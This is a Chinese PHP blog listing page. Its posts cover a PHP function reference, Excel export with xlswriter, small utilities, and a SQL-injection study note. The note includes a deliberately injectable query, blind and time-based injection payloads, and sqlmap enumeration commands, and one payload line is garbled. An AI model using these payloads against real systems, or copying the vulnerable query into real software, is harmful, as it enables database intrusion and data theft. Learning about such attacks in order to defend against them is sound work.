首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
183 阅读
2
php接口优化 使用curl_multi_init批量请求
144 阅读
3
《从菜鸟到大师之路 ElasticSearch 篇》
107 阅读
4
2024年备考系统架构设计师
104 阅读
5
PHP 文件I/O
92 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
786
篇文章
累计收到
31
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
560
篇与
的结果
2023-12-27
PHP常用函数大全
PHP常用函数大全Math 函数abs — 绝对值acos — 反余弦acosh — 反双曲余弦asin — 反正弦asinh — 反双曲正弦atan2 — 两个参数的反正切atan — 反正切atanh — 反双曲正切base_convert — 在任意进制之间转换数字bindec — 二进制转换为十进制ceil — 进一法取整cos — 余弦cosh — 双曲余弦decbin — 十进制转换为二进制dechex — 十进制转换为十六进制decoct — 十进制转换为八进制deg2rad — 将角度转换为弧度exp — 计算 e 的指数expm1 — 返回 exp(number) - 1,甚至当 number 的值接近零也能计算出准确结果floor — 舍去法取整fmod — 返回除法的浮点数余数getrandmax — 显示随机数最大的可能值hexdec — 十六进制转换为十进制hypot — 计算一直角三角形的斜边长度intdiv — 对除法结果取整is_finite — 判断是否为有限值is_infinite — 判断是否为无限值is_nan — 判断是否为合法数值lcg_value — 组合线性同余发生器log10 — 以 10 为底的对数log1p — 返回 log(1 + number),甚至当 number 的值接近零也能计算出准确结果log — 自然对数max — 找出最大值min — 找出最小值mt_getrandmax — 显示随机数的最大可能值mt_rand — 生成更好的随机数mt_srand — 播下一个更好的随机数发生器种子octdec — 八进制转换为十进制pi — 得到圆周率值pow — 指数表达式rad2deg — 将弧度数转换为相应的角度数rand — 产生一个随机整数round — 对浮点数进行四舍五入sin — 正弦sinh — 双曲正弦sqrt — 平方根srand — 播下随机数发生器种子tan — 正切tanh — 双曲正切字符串函数addcslashes — 以 C 语言风格使用反斜线转义字符串中的字符addslashes — 使用反斜线引用字符串bin2hex — 函数把包含数据的二进制字符串转换为十六进制值chop — rtrim 的别名chr — 返回指定的字符chunk_split — 将字符串分割成小块convert_cyr_string — 将字符由一种 Cyrillic 字符转换成另一种convert_uudecode — 解码一个 uuencode 编码的字符串convert_uuencode — 使用 uuencode 编码一个字符串count_chars — 返回字符串所用字符的信息crc32 — 计算一个字符串的 crc32 多项式crypt — 单向字符串散列echo — 输出一个或多个字符串explode — 使用一个字符串分割另一个字符串fprintf — 将格式化后的字符串写入到流get_html_translation_table — 返回使用 htmlspecialchars 和 htmlentities 后的转换表hebrev — 将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew)hebrevc — 将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符hex2bin — 转换十六进制字符串为二进制字符串html_entity_decode — Convert HTML entities to their corresponding charactershtmlentities — 将字符转换为 HTML 转义字符htmlspecialchars_decode — 将特殊的 HTML 实体转换回普通字符htmlspecialchars — 将特殊字符转换为 HTML 实体implode — 将一个一维数组的值转化为字符串join — 别名 implodelcfirst — 使一个字符串的第一个字符小写levenshtein — 计算两个字符串之间的编辑距离localeconv — Get numeric formatting informationltrim — 删除字符串开头的空白字符(或其他字符)md5_file — 计算指定文件的 MD5 散列值md5 — 计算字符串的 MD5 散列值metaphone — Calculate the metaphone key of a stringmoney_format — 将数字格式化成货币字符串nl_langinfo — Query language and locale informationnl2br — 在字符串所有新行之前插入 HTML 换行标记number_format — 以千位分隔符方式格式化一个数字ord — 转换字符串第一个字节为 0-255 之间的值parse_str — 将字符串解析成多个变量print — 输出字符串printf — 输出格式化字符串quoted_printable_decode — 将 quoted-printable 字符串转换为 8-bit 字符串quoted_printable_encode — 将 8-bit 字符串转换成 quoted-printable 字符串quotemeta — 转义元字符集rtrim — 删除字符串末端的空白字符(或者其他字符)setlocale — 设置地区信息sha1_file — 计算文件的 sha1 散列值sha1 — 计算字符串的 sha1 散列值similar_text — 计算两个字符串的相似度soundex — Calculate the soundex key of a stringsprintf — Return a formatted stringsscanf — 根据指定格式解析输入的字符str_getcsv — 解析 CSV 字符串为一个数组str_ireplace — str_replace 的忽略大小写版本str_pad — 使用另一个字符串填充字符串为指定长度str_repeat — 重复一个字符串str_replace — 子字符串替换str_rot13 — 对字符串执行 ROT13 转换str_shuffle — 随机打乱一个字符串str_split — 将字符串转换为数组str_word_count — 返回字符串中单词的使用情况strcasecmp — 二进制安全比较字符串(不区分大小写)strchr — 别名 strstrstrcmp — 二进制安全字符串比较strcoll — 基于区域设置的字符串比较strcspn — 获取不匹配遮罩的起始子字符串的长度strip_tags — 从字符串中去除 HTML 和 PHP 标记stripcslashes — 反引用一个使用 addcslashes 转义的字符串stripos — 查找字符串首次出现的位置(不区分大小写)stripslashes — 反引用一个引用字符串stristr — strstr 函数的忽略大小写版本strlen — 获取字符串长度strnatcasecmp — 使用“自然顺序”算法比较字符串(不区分大小写)strnatcmp — 使用自然排序算法比较字符串strncasecmp — 二进制安全比较字符串开头的若干个字符(不区分大小写)strncmp — 二进制安全比较字符串开头的若干个字符strpbrk — 在字符串中查找一组字符的任何一个字符strpos — 查找字符串首次出现的位置strrchr — 查找指定字符在字符串中的最后一次出现strrev — 反转字符串strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)strrpos — 计算指定字符串在目标字符串中最后一次出现的位置strspn — 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。strstr — 查找字符串的首次出现strtok — 标记分割字符串strtolower — 将字符串转化为小写strtoupper — 将字符串转化为大写strtr — 转换指定字符substr_compare — 二进制安全比较字符串(从偏移位置比较指定长度)substr_count — 计算字串出现的次数substr_replace — 替换字符串的子串substr — 返回字符串的子串trim — 去除字符串首尾处的空白字符(或者其他字符)ucfirst — 将字符串的首字母转换为大写ucwords — 将字符串中每个单词的首字母转换为大写vfprintf — 将格式化字符串写入流vprintf — 输出格式化字符串vsprintf — 返回格式化字符串wordwrap — 打断字符串为指定数量的字串数组函数array_change_key_case — 将数组中的所有键名修改为全大写或小写array_chunk — 将一个数组分割成多个array_column — 返回数组中指定的一列array_combine — 创建一个数组,用一个数组的值作为其键名,另一个数组的值作为其值array_count_values — 统计数组中所有的值array_diff_assoc — 带索引检查计算数组的差集array_diff_key — 使用键名比较计算数组的差集array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集array_diff_ukey — 用回调函数对键名比较计算数组的差集array_diff — 计算数组的差集array_fill_keys — 使用指定的键和值填充数组array_fill — 用给定的值填充数组array_filter — 用回调函数过滤数组中的单元array_flip — 交换数组中的键和值array_intersect_assoc — 带索引检查计算数组的交集array_intersect_key — 使用键名比较计算数组的交集array_intersect_uassoc — 带索引检查计算数组的交集,用回调函数比较索引array_intersect_ukey — 用回调函数比较键名来计算数组的交集array_intersect — 计算数组的交集array_key_exists — 检查数组里是否有指定的键名或索引array_key_first — Gets the first key of an arrayarray_key_last — Gets the last key of an arrayarray_keys — 返回数组中部分的或所有的键名array_map — 为数组的每个元素应用回调函数array_merge_recursive — 递归地合并一个或多个数组array_merge — 合并一个或多个数组array_multisort — 对多个数组或多维数组进行排序array_pad — 以指定长度将一个值填充进数组array_pop — 弹出数组最后一个单元(出栈)array_product — 计算数组中所有值的乘积array_push — 将一个或多个单元压入数组的末尾(入栈)array_rand — 从数组中随机取出一个或多个单元array_reduce — 用回调函数迭代地将数组简化为单一的值array_replace_recursive — 使用传递的数组递归替换第一个数组的元素array_replace — 使用传递的数组替换第一个数组的元素array_reverse — 返回单元顺序相反的数组array_search — 在数组中搜索给定的值,如果成功则返回首个相应的键名array_shift — 将数组开头的单元移出数组array_slice — 从数组中取出一段array_splice — 去掉数组中的某一部分并用其它值取代array_sum — 对数组中所有值求和array_udiff_assoc — 带索引检查计算数组的差集,用回调函数比较数据array_udiff_uassoc — 带索引检查计算数组的差集,用回调函数比较数据和索引array_udiff — 用回调函数比较数据来计算数组的差集array_uintersect_assoc — 带索引检查计算数组的交集,用回调函数比较数据array_uintersect_uassoc — 带索引检查计算数组的交集,用单独的回调函数比较数据和索引array_uintersect — 计算数组的交集,用回调函数比较数据array_unique — 移除数组中重复的值array_unshift — 在数组开头插入一个或多个单元array_values — 返回数组中所有的值array_walk_recursive — 对数组中的每个成员递归地应用用户函数array_walk — 使用用户自定义函数对数组中的每个元素做回调处理array — 新建一个数组arsort — 对数组进行逆向排序并保持索引关系asort — 对数组进行排序并保持索引关系compact — 建立一个数组,包括变量名和它们的值count — 计算数组中的单元数目,或对象中的属性个数current — 返回数组中的当前单元each — 返回数组中当前的键/值对并将数组指针向前移动一步end — 将数组的内部指针指向最后一个单元extract — 从数组中将变量导入到当前的符号表in_array — 检查数组中是否存在某个值key_exists — 别名 array_key_existskey — 从关联数组中取得键名krsort — 对数组按照键名逆向排序ksort — 对数组按照键名排序list — 把数组中的值赋给一组变量natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序natsort — 用“自然排序”算法对数组排序next — 将数组中的内部指针向前移动一位pos — current 的别名prev — 将数组的内部指针倒回一位range — 根据范围创建数组,包含指定的元素reset — 将数组的内部指针指向第一个单元rsort — 对数组逆向排序shuffle — 打乱数组sizeof — count 的别名sort — 对数组排序uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联uksort — 使用用户自定义的比较函数对数组中的键名进行排序usort — 使用用户自定义的比较函数对数组中的值进行排序多字节字符串函数mb_check_encoding — 检查字符串在指定的编码里是否有效mb_chr — Get a specific charactermb_convert_case — 对字符串进行大小写转换mb_convert_encoding — 转换字符的编码mb_convert_kana — Convert “kana” one from another (“zen-kaku”, “han-kaku” and more)mb_convert_variables — 转换一个或多个变量的字符编码mb_decode_mimeheader — 解码 MIME 头字段中的字符串mb_decode_numericentity — 根据 HTML 数字字符串解码成字符mb_detect_encoding — 检测字符的编码mb_detect_order — 设置/获取 字符编码的检测顺序mb_encode_mimeheader — 为 MIME 头编码字符串mb_encode_numericentity — Encode character to HTML numeric string referencemb_encoding_aliases — Get aliases of a known encoding typemb_ereg_match — Regular expression match for multibyte stringmb_ereg_replace_callback — Perform a regular expression search and replace with multibyte support using a callbackmb_ereg_replace — Replace regular expression with multibyte supportmb_ereg_search_getpos — Returns start point for next regular expression matchmb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression matchmb_ereg_search_init — Setup string and regular expression for a multibyte regular expression matchmb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte stringmb_ereg_search_regs — Returns the matched part of a multibyte regular expressionmb_ereg_search_setpos — Set start point of next regular expression matchmb_ereg_search — Multibyte regular expression match for predefined multibyte stringmb_ereg — Regular expression match with multibyte supportmb_eregi_replace — Replace regular expression with multibyte support ignoring casemb_eregi — Regular expression match ignoring case with multibyte supportmb_get_info — 获取 mbstring 的内部设置mb_http_input — 检测 HTTP 输入字符编码mb_http_output — 设置/获取 HTTP 输出字符编码mb_internal_encoding — 设置/获取内部字符编码mb_language — 设置/获取当前的语言mb_list_encodings — 返回所有支持编码的数组mb_ord — Get code point of charactermb_output_handler — 在输出缓冲中转换字符编码的回调函数mb_parse_str — 解析 GET/POST/COOKIE 数据并设置全局变量mb_preferred_mime_name — 获取 MIME 字符串mb_regex_encoding — Set/Get character encoding for multibyte regexmb_regex_set_options — Set/Get the default options for mbregex functionsmb_scrub — Descriptionmb_send_mail — 发送编码过的邮件mb_split — 使用正则表达式分割多字节字符串mb_strcut — 获取字符的一部分mb_strimwidth — 获取按指定宽度截断的字符串mb_stripos — 大小写不敏感地查找字符串在另一个字符串中首次出现的位置mb_stristr — 大小写不敏感地查找字符串在另一个字符串里的首次出现mb_strlen — 获取字符串的长度mb_strpos — 查找字符串在另一个字符串中首次出现的位置mb_strrchr — 查找指定字符在另一个字符串中最后一次的出现mb_strrichr — 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现mb_strripos — 大小写不敏感地在字符串中查找一个字符串最后出现的位置mb_strrpos — 查找字符串在一个字符串中最后出现的位置mb_strstr — 查找字符串在另一个字符串里的首次出现mb_strtolower — 使字符串小写mb_strtoupper — 使字符串大写mb_strwidth — 返回字符串的宽度mb_substitute_character — 设置/获取替代字符mb_substr_count — 统计字符串出现的次数mb_substr — 获取部分字符串时间函数checkdate — 验证一个格里高里日期date_add — 别名 DateTime::adddate_create_from_format — 别名 DateTime::createFromFormatdate_create_immutable_from_format — 别名 DateTimeImmutable::createFromFormatdate_create_immutable — 别名 DateTimeImmutable::__constructdate_create — 别名 DateTime::__constructdate_date_set — 别名 DateTime::setDatedate_default_timezone_get — 取得一个脚本中所有日期时间函数所使用的默认时区date_default_timezone_set — 设定用于一个脚本中所有日期时间函数的默认时区date_diff — 别名 DateTime::diffdate_format — 别名 DateTime::formatdate_get_last_errors — 别名 DateTime::getLastErrorsdate_interval_create_from_date_string — 别名 DateInterval::createFromDateStringdate_interval_format — 别名 DateInterval::formatdate_isodate_set — 别名 DateTime::setISODatedate_modify — 别名 DateTime::modifydate_offset_get — 别名 DateTime::getOffsetdate_parse_from_format — Get info about given date formatted according to the specified formatdate_parse — Returns associative array with detailed info about given datedate_sub — 别名 DateTime::subdate_sun_info — Returns an array with information about sunset/sunrise and twilight begin/enddate_sunrise — 返回给定的日期与地点的日出时间date_sunset — 返回给定的日期与地点的日落时间date_time_set — 别名 DateTime::setTimedate_timestamp_get — 别名 DateTime::getTimestampdate_timestamp_set — 别名 DateTime::setTimestampdate_timezone_get — 别名 DateTime::getTimezonedate_timezone_set — 别名 DateTime::setTimezonedate — 格式化一个本地时间/日期getdate — 取得日期/时间信息gettimeofday — 取得当前时间gmdate — 格式化一个 GMT/UTC 日期/时间gmmktime — 取得 GMT 日期的 UNIX 时间戳gmstrftime — 根据区域设置格式化 GMT/UTC 时间/日期idate — 将本地时间日期格式化为整数localtime — 取得本地时间microtime — 返回当前 Unix 时间戳和微秒数mktime — 取得一个日期的 Unix 时间戳strftime — 根据区域设置格式化本地时间/日期strptime — 解析由 strftime 生成的日期/时间strtotime — 将任何字符串的日期时间描述解析为 Unix 时间戳time — 返回当前的 Unix 时间戳timezone_abbreviations_list — 别名 DateTimeZone::listAbbreviationstimezone_identifiers_list — 别名 DateTimeZone::listIdentifierstimezone_location_get — 别名 DateTimeZone::getLocationtimezone_name_from_abbr — Returns the timezone name from abbreviationtimezone_name_get — 别名 DateTimeZone::getNametimezone_offset_get — 别名 DateTimeZone::getOffsettimezone_open — 别名 DateTimeZone::__constructtimezone_transitions_get — 别名 DateTimeZone::getTransitionstimezone_version_get — Gets the version of the timezonedb目录函数chdir — 改变目录chroot — 改变根目录closedir — 关闭目录句柄dir — 返回一个 Directory 类实例getcwd — 取得当前工作目录opendir — 打开目录句柄readdir — 从目录句柄中读取条目rewinddir — 倒回目录句柄scandir — 列出指定路径中的文件和目录文件系统函数basename — 返回路径中的文件名部分chgrp — 改变文件所属的组chmod — 改变文件模式chown — 改变文件的所有者clearstatcache — 清除文件状态缓存copy — 拷贝文件delete — 参见 unlink 或 unsetdirname — 返回路径中的目录部分disk_free_space — 返回目录中的可用空间disk_total_space — 返回一个目录的磁盘总大小diskfreespace — disk_free_space 的别名fclose — 关闭一个已打开的文件指针feof — 测试文件指针是否到了文件结束的位置fflush — 将缓冲内容输出到文件fgetc — 从文件指针中读取字符fgetcsv — 从文件指针中读入一行并解析 CSV 字段fgets — 从文件指针中读取一行fgetss — 从文件指针中读取一行并过滤掉 HTML 标记file_exists — 检查文件或目录是否存在file_get_contents — 将整个文件读入一个字符串file_put_contents — 将一个字符串写入文件file — 把整个文件读入一个数组中fileatime — 取得文件的上次访问时间filectime — 取得文件的 inode 修改时间filegroup — 取得文件的组fileinode — 取得文件的 inodefilemtime — 取得文件修改时间fileowner — 取得文件的所有者fileperms — 取得文件的权限filesize — 取得文件大小filetype — 取得文件类型flock — 轻便的咨询文件锁定fnmatch — 用模式匹配文件名fopen — 打开文件或者 URLfpassthru — 输出文件指针处的所有剩余数据fputcsv — 将行格式化为 CSV 并写入文件指针fputs — fwrite 的别名fread — 读取文件(可安全用于二进制文件)fscanf — 从文件中格式化输入fseek — 在文件指针中定位fstat — 通过已打开的文件指针取得文件信息ftell — 返回文件指针读/写的位置ftruncate — 将文件截断到给定的长度fwrite — 写入文件(可安全用于二进制文件)glob — 寻找与模式匹配的文件路径is_dir — 判断给定文件名是否是一个目录is_executable — 判断给定文件名是否可执行is_file — 判断给定文件名是否为一个正常的文件is_link — 判断给定文件名是否为一个符号连接is_readable — 判断给定文件名是否可读is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的is_writable — 判断给定的文件名是否可写is_writeable — is_writable 的别名lchgrp — 修改符号链接的所有组lchown — 修改符号链接的所有者link — 建立一个硬连接linkinfo — 获取一个连接的信息lstat — 给出一个文件或符号连接的信息mkdir — 新建目录move_uploaded_file — 将上传的文件移动到新位置parse_ini_file — 解析一个配置文件parse_ini_string — 解析配置字符串pathinfo — 返回文件路径的信息pclose — 关闭进程文件指针popen — 打开进程文件指针readfile — 输出文件readlink — 返回符号连接指向的目标realpath_cache_get — 获取真实目录缓存的详情realpath_cache_size — 获取真实路径缓冲区的大小realpath — 返回规范化的绝对路径名rename — 重命名一个文件或目录rewind — 倒回文件指针的位置rmdir — 删除目录set_file_buffer — stream_set_write_buffer 的别名stat — 给出文件的信息symlink — 建立符号连接tempnam — 建立一个具有唯一文件名的文件tmpfile — 建立一个临时文件touch — 设定文件的访问和修改时间umask — 改变当前的 umaskunlink — 删除文件
2023年12月27日
12 阅读
0 评论
0 点赞
2023-12-27
PHP优化Excel导出性能(xlswriter扩展)
PHP优化Excel导出性能(xlswriter扩展)公益课推荐:《PHP快速操控Excel之PhpSpreadsheet》课程地址:https://www.php.cn/course/1087.htmlxlswriter 是一个PHP C扩展,旨在提升php在导出大数据量时的性能问题,支持windows/Linux。可用于在Excel 2007+ XLSX文件中读取数据,插入多个工作表,写入文本、数字、公式、日期、图表、和超链接。它具备以下特性:一、写入100%兼容的 Excel XLSX 文件完整的 Excel 格式合并单元格定义工作表名称过滤器图表数据验证和下拉列表工作表 PNG/JPEG 图像用于写入大文件的内存优化模式适用于 Linux,FreeBSD,OpenBSD,OS X,Windows编译为 32 位和 64 位FreeBSD 许可证唯一的依赖是 zlib二、读取完整读取数据光标读取数据按数据类型读取xlsx 转 CSV性能对比下载安装github源码:https://github.com/viest/php-ext-xlswriterxlswriter文档:https://xlswriter-docs.viest.me/zh-cn/an-zhuang/huan-jing-yao-qiu下载ide helper:composer require viest/php-ext-xlswriter-ide-helper:dev-master但是我一直下载失败,于是去github仓库直接下载 https://github.com/viest/php-ext-xlswriter-ide-helper然后将里面的几个类复制到一个 xlswriter_ide_helper.php 文件里面,将这个文件放到你的项目中就有代码提示了。安装 xlswriter 扩展此处在docker中安装docker exec -it php72-fpm bashcd /usr/local/bin pecl install xlswriter docker-php-ext-enable xlswriter php -m php --ri xlswriter Version => 1.3.6 docker restart php72-fpm性能测试:测试数据:20 列,每列长度为 19 英文字母XlswriterPHPSpreadSheetPHP_XLSXWriter使用示例:private function rankPersonExport($activityInfo, $list){ $date = date('Y-m-d'); $filename = "{$activityInfo['orgname']}-{$activityInfo['name']}-个人排行榜-{$date}"; $header = ['名次', '用户ID', '对接账号', '姓名', '电话', '部门ID', '一级部门', '二级部门', '三级部门', '总积分', '最后积分时间', "毫秒"]; if (!empty($activityInfo['ext'])) { $extArr = json_decode($activityInfo['ext'], true); foreach ($extArr as $errItem) { array_push($header, $errItem['name']); } } // list $listVal = []; foreach($list as $v){ $temp = [ $v['rank'], $v['userid'], $v['userName'], $v['nickName'], $v['phone'], $v['departid'], $v['topDepartName'], $v['secDepartName'], $v['thirdDepartName'], $v['score'], $v['updatetime'], $v['micro'], ]; if (!empty($v['ext'])) { $extArr = explode('|', $v['ext']); foreach ($extArr as $k2 => $v2) { $errItemArr = explode('^', $v2); array_push($temp, $errItemArr[1]); } } array_push($listVal, $temp); } $re = downloadXLSX($filename, $header, $listVal); if($re){ return $this->output(0, $re); }else{ return $this->output(1, 'success'); }} function getTmpDir(): string{ $tmp = ini_get('upload_tmp_dir'); if ($tmp !== False && file_exists($tmp)) { return realpath($tmp); } return realpath(sys_get_temp_dir());}/** * download xlsx file * * @param string $filename * @param array $header * @param array $list * @return string errmsg */function downloadXLSX(string $filename, array $header, array $list): string{ try { $config = ['path' => getTmpDir() . '/']; $excel = (new \Vtiful\Kernel\Excel($config))->fileName($filename.'.xlsx', 'Sheet1'); $fileHandle = $excel->getHandle(); $format1 = new \Vtiful\Kernel\Format($fileHandle); $format2 = new \Vtiful\Kernel\Format($fileHandle); // title style $titleStyle = $format1->fontSize(16) ->bold() ->font("Calibri") ->align(\Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER, \Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_CENTER) ->toResource(); // global style $globalStyle = $format2->fontSize(10) ->font("Calibri") ->align(\Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER, \Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_CENTER) ->border(\Vtiful\Kernel\Format::BORDER_THIN) ->toResource(); $headerLen = count($header); // header array_unshift($list, $header); // title $title = array_fill(1, $headerLen - 1, ''); $title[0] = $filename; array_unshift($list, $title); $end = strtoupper(chr(65 + $headerLen - 1)); // column style $excel->setColumn("A:{$end}", 15, $globalStyle); // title $excel->MergeCells("A1:{$end}1", $filename)->setRow("A1", 25, $titleStyle); // 冻结前两行,列不冻结 $excel->freezePanes(2, 0); // 数据 $filePath = $excel->data($list)->output(); header("Content-Disposition:attachment;filename={$filename}.xlsx"); $re = copy($filePath, 'php://output'); if ($re === false) { $err = 'failed to write output'; } else { $err = ''; } @unlink($filePath); return $err; } catch (\Vtiful\Kernel\Exception $e) { return $e->getMessage(); }}如果发现下载的文件有时候打不开,那应该是你使用了官方的DEMO,问题出在 filesize(),这个函数是有缓存的,所以你会发现下载下来的文件和原始的文件大小不一样。要么像我一样不去设置 Content-Length,要么使用 clearstatcache()手动清除缓存。实测5w条记录导出耗时1.5s,效果还是很强劲的。
2023年12月27日
5 阅读
0 评论
0 点赞
2023-12-26
三个实用的PHP函数小工具!
三个实用的PHP函数小工具!1.PHP检测IP是否内网地址、保留地址/** * @param string $ip 被检测的IP * @return bool 是否内网或者保留IP */ public function isInternalIp($ip) { $ip = ip2long($ip); if (!$ip) { //非法IP,直接算true吧 return true; } $net_a = ip2long('10.255.255.255') >> 24; //A类网预留ip的网络地 $net_b = ip2long('172.31.255.255') >> 20; //B类网预留ip的网络地址 $net_c = ip2long('192.168.255.255') >> 16; //C类网预留ip的网络地址 $net_local127 = ip2long('127.255.255.255') >> 24; //127保留地址 $net_local169 = ip2long('169.254.255.255') >> 16; //169保留地址 return $ip >> 24 === $net_a || $ip >> 20 === $net_b || $ip >> 16 === $net_c || $net_local127 === $ip >> 24 || $net_local169 === $ip >> 16; }这个是我网上找来的,具体地址我忘了,然后自己加了保留地址的检测。2.PHP获取HTTP包流量整个HTTP请求包流量 public function http() { $row = $_SERVER['REQUEST_URI'] . "\r\r"; $header = getallheaders(); foreach ($header as $k => $v) { $row .= $k . ': ' . $v . "\r"; } $row .= "\r\r" . file_get_contents("php://input"); return $row; }3.vue差量更新包-PHP处理public function test() { $config = json_decode(file_get_contents('vueconfig.json'), true); //配置目录,初次使用要先建立配置 $path = 'D:\\web\\project\\vue\\dist\\static\\'; // 打包的静态地址 foreach ($config as $dir => $type) { foreach (scandir($path . $dir) as $fkey => $fva) { if ($fva == '.' || $fva == '..') { continue; } else { if (in_array($fva, $type)) { //没有更新就删除该文件 unlink($path . $dir . '\\' . $fva); } else { echo '新增文件:' . $path . $dir . '\\' . $fva . "<br>"; //有更新就把新文件加入到配置表里记录 $config[$dir][$fkey] = $fva; } } } } //更新配置表 file_put_contents('vueconfig.json', json_encode($config)); }直接运行即可删除没有改变的文件,保留更新的文件,实现差量更新。
2023年12月26日
15 阅读
0 评论
0 点赞
2023-12-25
PHP安全编码总结笔记之SQL注入
PHP安全编码总结笔记之SQL注入SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。<?php function get_client_addr() { if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) { $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; } else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; } else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; } else { $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。<?php $var = date_default_timezone_get(); echo "当前时区: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if (!get_magic_quotes_gpc()) { $var = waf($_GET['id']); echo "过滤后的参数: " . $var; } function waf($array) { if (is_array($array)) { foreach ($array as $key => $value) { $array [$key] = waf($value); } } else if (is_string($array)) { $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr, $array); } else if (is_numeric($array)) { $array = intval($array); } return $array; } ?>盲注的使用首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.<!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入测试代码</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查询完成了.."); }else { print("查询失败"); } } } ?> <body> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l index.php?id=1')=121 --+ // 验证第二位是否为y,以此类推猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0// 存在lyshark表猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度 index.php?id=1' and (select user() like 'root%') # // 猜测用户名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒◆sqlmap 命令◆常用检测命令:sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别 sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限 sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限 sqlmap -u "./index.php?id=1" --all # 查询所有数据库 sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名 sqlmap -u "./index.php?id=1" --is-dba # 判断root权限 sqlmap -u "./index.php?id=1" --users # 枚举数据库用户 sqlmap -u "./index.php?id=1" 